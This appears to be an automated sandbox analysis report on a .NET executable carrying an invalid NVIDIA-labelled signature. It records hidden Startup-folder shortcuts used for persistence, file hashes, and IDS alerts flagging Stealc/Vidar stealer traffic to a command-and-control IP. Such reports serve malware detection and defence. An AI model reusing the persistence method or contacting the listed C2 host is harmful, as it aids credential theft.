File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:09 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923638936238747
Encrypted:	false
SSDEEP:	24:8fBf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8pCEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3554AEF1D26C8F49F11728E3B32A1CEA
SHA1:	D8C5F536C5F234C22DC5D4D3FFE2D83AEFAF93D0
SHA-256:	7DDC19A0C2794A6114D2A78808B0766B6FEEA50661B2D5377599F6BCB7E3EFB2
SHA-512:	77C4F3DE86FEB7DC047520CE43CA21AD46AE9A04D9BE311189C031D2CBCD57F7EAF2C0510B0DEE80B4EE0CD06D2840DC4E3D0430F1643B9F1F3CAB396748FCD2
Malicious:	false
Preview:	L..................F....".......d....9."d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...*."d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ff0a7d568a7f45218a3e2589a6ab617e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925969656937661
Encrypted:	false
SSDEEP:	24:8EBfUp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8q8OEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2BF41AE029F9F9F242A54F9F87D93A56
SHA1:	DD58E2EBF4F654EC66C5AFA00AF6D4213B3371C1
SHA-256:	7CEDA924775D4539C9CB2D5A6917FAE81BD7813DE54695C3428890B4373C3EE2
SHA-512:	5BE48952AF448162F17D2F309C1FEB06BB4C3D13F0C898D884EDD99373776DB7319749C91ABA43E5B5026D40EB8C5C2E6C31C63ED7EE4537281123A963514183
Malicious:	false
Preview:	L..................F....".......d......}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ff26073bc8d24d91bf36ead697e196c9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929727068837653
Encrypted:	false
SSDEEP:	24:84BfTf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82IEvZ0yRO7DLO2zdxdRd1kyg
MD5:	40FF5F6EEE910A7A4225001B355B3433
SHA1:	B6BE44D6170513EDFD392F1ED9DEA7BD4BC50662
SHA-256:	F51B8AE6E0FE731947CC0F4CDE2F254BA7F225CCBF70B5AE043989D8EE1F7069
SHA-512:	0F94D6747284AEE4391120BD4AF64B724C3FFE63D7E0C111A53EFA453B782F3D1E26331E4730F0719D39494F732478D4B57ACAF20727300CE355B25278DB0520
Malicious:	false
Preview:	L..................F....".......d.....*.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....".d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ff3e8dc95e4b43ad95f8cf101e915ccc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918619940051882
Encrypted:	false
SSDEEP:	24:81BfpcH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83DEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B1C8BA501FB5929196CF5F592C3A75DF
SHA1:	10C17EF2F9DE7C106B5E6B2227AC58A46B1745D9
SHA-256:	2AE5562A312966C3D607CC8B5C9C33BF875EB0A8326B5A00806AE677DD82AFF4
SHA-512:	D03199F6FDA36320B85E4997299781EFE46F41DFA463A2989627A1C12C7DBB954E354291C51663F6C9F9D76E0A9BC0B4E464A2A2792159B9812E0122C82B2471
Malicious:	false
Preview:	L..................F....".......d....\~.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....f.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ffbc9426f5ad426980d4895d38040245.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:52 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923900480245505
Encrypted:	false
SSDEEP:	24:8NmiTBfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NmesEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C944E7E9E9B7087D35A093F65290CCA2
SHA1:	2E448DAD32ABCB370710ECCAE4124D82590C7CC2
SHA-256:	5CF203AD94B187CA5D7E9BAFA92DE4083CE62E73038235F28248B2E7863D57BB
SHA-512:	222A6625F8816432A45BFF80B243B38EF0A5593BA8AA001DF762020B54CC26DBE83ADA27DBF2419402084825088E07976ACF397EF0BFD66045788C7469AB038F
Malicious:	false
Preview:	L..................F....".......d......<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....z<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ffc920abc35c439d975a00ec232f4ddf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923366468882699
Encrypted:	false
SSDEEP:	24:8TBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8VBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6D1D3CE7DCA42911F1DAB30EB8C4D83E
SHA1:	2DDC067D83C2DDBCF4257799458B3B40799F9168
SHA-256:	C1A27BD60436C5CF0DFDDB62605F62E45ABC1B39350D74BD2A2CD85FA42C53AD
SHA-512:	61DA857DBA36624739EE04BC4B20D9BC39D72EB1A0ABC8D142EC944E705C11629C9F6C384C1E88685EB37D12F119BC2530EBADF655AE39EE8D7EF8D8B974F90C
Malicious:	false
Preview:	L..................F....".......d...?s5&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ffc99a63dce94766b2f29046624f6966.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925611619971524
Encrypted:	false
SSDEEP:	24:8EuBfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8BoEvZ0yRO7DLO2zdxdRd1kyg
MD5:	25B7924A855C19BDA26B1C23B992BE7D
SHA1:	A0928E82CB273C777AA1C0B7FEF80402E42D40D7
SHA-256:	FE28CCFEBABF7B2509BAEFF452623C1D8DF1500B2F3FCB395A1DA7283A03591F
SHA-512:	4CAA2564054C7CF3AECD9DA1F71A740D737D4F3627C506A24C7AAE2B79635317EA48B133C68F295496224333495165A6F275F00271F0529CD12B455BADC77BFE
Malicious:	false
Preview:	L..................F....".......d....ih%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..._W6%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fff62a29b5b043a38c13ab03b7de322d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922189485963695
Encrypted:	false
SSDEEP:	24:8EBf/P48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8q3FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	374155166DD0E95774298FC834C0900F
SHA1:	C2606F45B2FD5BD8F7461C36F449FABA5CDD04C4
SHA-256:	7C44EB5AA24EE0BA36F35E71982D531CC8866AA292059CCAD5989E33FCA28EE9
SHA-512:	38D300C63BF9188D34F86EEFE8950205F27C264AB77DE72F190BBDB58B9D3554BA1351C0CBFF4FE1AED98CD3E0CF3AC83F9CCDD247C424FB2C5A0B43C0A545EB
Malicious:	false
Preview:	L..................F....".......d...g..{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....0.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

\Device\ConDrv

Download File

Process:	C:\ProgramData\BFIIEHJDBK.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	33
Entropy (8bit):	2.2845972159140855
Encrypted:	false
SSDEEP:	3:i6vvRyMivvRya:iKvHivD
MD5:	45B4C82B8041BF0F9CCED0D6A18D151A
SHA1:	B4DAD3FFFEF507CBB78671EE620BB495F8CE22F1
SHA-256:	7CFA461ED1FC8611AB74878EDB1FBBDE3596F5D042946A42A7F31EB6D462E628
SHA-512:	B29C3696A8A311EFAF9B9709BA082FF2C8D45A6912D79BC1DE7FEEFBEF8F8DDEFCD6650B5E1165D0A79800C8AED399E2B11BC2431E3837DD8587516BDE50EAB5
Malicious:	false
Preview:	0..1..2..3..4..0..1..2..3..4.....

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.989803849260268
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	413'224 bytes
MD5:	77011ba24d1088a963898abc72c6e129
SHA1:	08a84da40cb625471026568b2399538399b44f98
SHA256:	3b914f143432c17ca607ba232ba0122f78096dc04dd7ce3d297ed0036f3b1545
SHA512:	91e07652791eb55cc4684a97daa119cea2608e03b213675b43751aac9682955e6f36dc7b0ebf471778063182312abbc1dfb9925f95c29399daaeac614c933ba6
SSDEEP:	12288:uJ8GsZTOusN+VVrto1ma41z1esugf9xmolEO:uJ8vTOFN+VVZo1ma4B1eQ/met
TLSH:	8A94233125D6DA3EFEE7CC7C9034B827345477072A522B8B343AE2965B71794A6F0878
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@#.f.............................<... ...@....@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x463cee
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F42340 [Wed Sep 25 14:50:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 01:00:00 17/01/2026 00:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x63c94	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x64000	0x5b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x62800	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x66000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x63b5c	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x61cf4	0x61e00	0534f0bd37a806169352efcd40567b25	False	0.9940233876117497	data	7.996138391086221	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x64000	0x5b8	0x600	c5e8314566f7a5f7708391414f4a9092	False	0.4368489583333333	data	4.114126439113982	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x66000	0xc	0x200	a9b332d968f232dba11fe8f8f6bc79d9	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x640a0	0x324	data			0.4552238805970149
RT_MANIFEST	0x643c8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T18:00:21.942764+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49713	5.75.211.162	443	TCP
2024-09-25T18:00:24.052179+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49714	5.75.211.162	443	TCP
2024-09-25T18:00:25.433826+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49715	5.75.211.162	443	TCP
2024-09-25T18:00:26.146499+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.5	49715	5.75.211.162	443	TCP
2024-09-25T18:00:26.849605+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49716	5.75.211.162	443	TCP
2024-09-25T18:00:27.677162+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	5.75.211.162	443	192.168.2.5	49716	TCP
2024-09-25T18:00:28.336941+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49717	5.75.211.162	443	TCP
2024-09-25T18:00:29.036796+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	5.75.211.162	443	192.168.2.5	49717	TCP
2024-09-25T18:00:29.777460+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49718	5.75.211.162	443	TCP
2024-09-25T18:00:30.813337+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49719	5.75.211.162	443	TCP
2024-09-25T18:00:34.436219+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49720	5.75.211.162	443	TCP
2024-09-25T18:00:37.182964+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49722	5.75.211.162	443	TCP
2024-09-25T18:00:37.183273+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49721	5.75.211.162	443	TCP
2024-09-25T18:00:39.424817+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49723	5.75.211.162	443	TCP
2024-09-25T18:00:41.186326+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49724	5.75.211.162	443	TCP
2024-09-25T18:00:42.903452+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49725	5.75.211.162	443	TCP
2024-09-25T18:00:44.528835+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49726	5.75.211.162	443	TCP
2024-09-25T18:00:46.036135+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49727	5.75.211.162	443	TCP
2024-09-25T18:00:47.282867+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49728	5.75.211.162	443	TCP
2024-09-25T18:00:50.352397+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49729	5.75.211.162	443	TCP
2024-09-25T18:00:51.661178+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49730	5.75.211.162	443	TCP
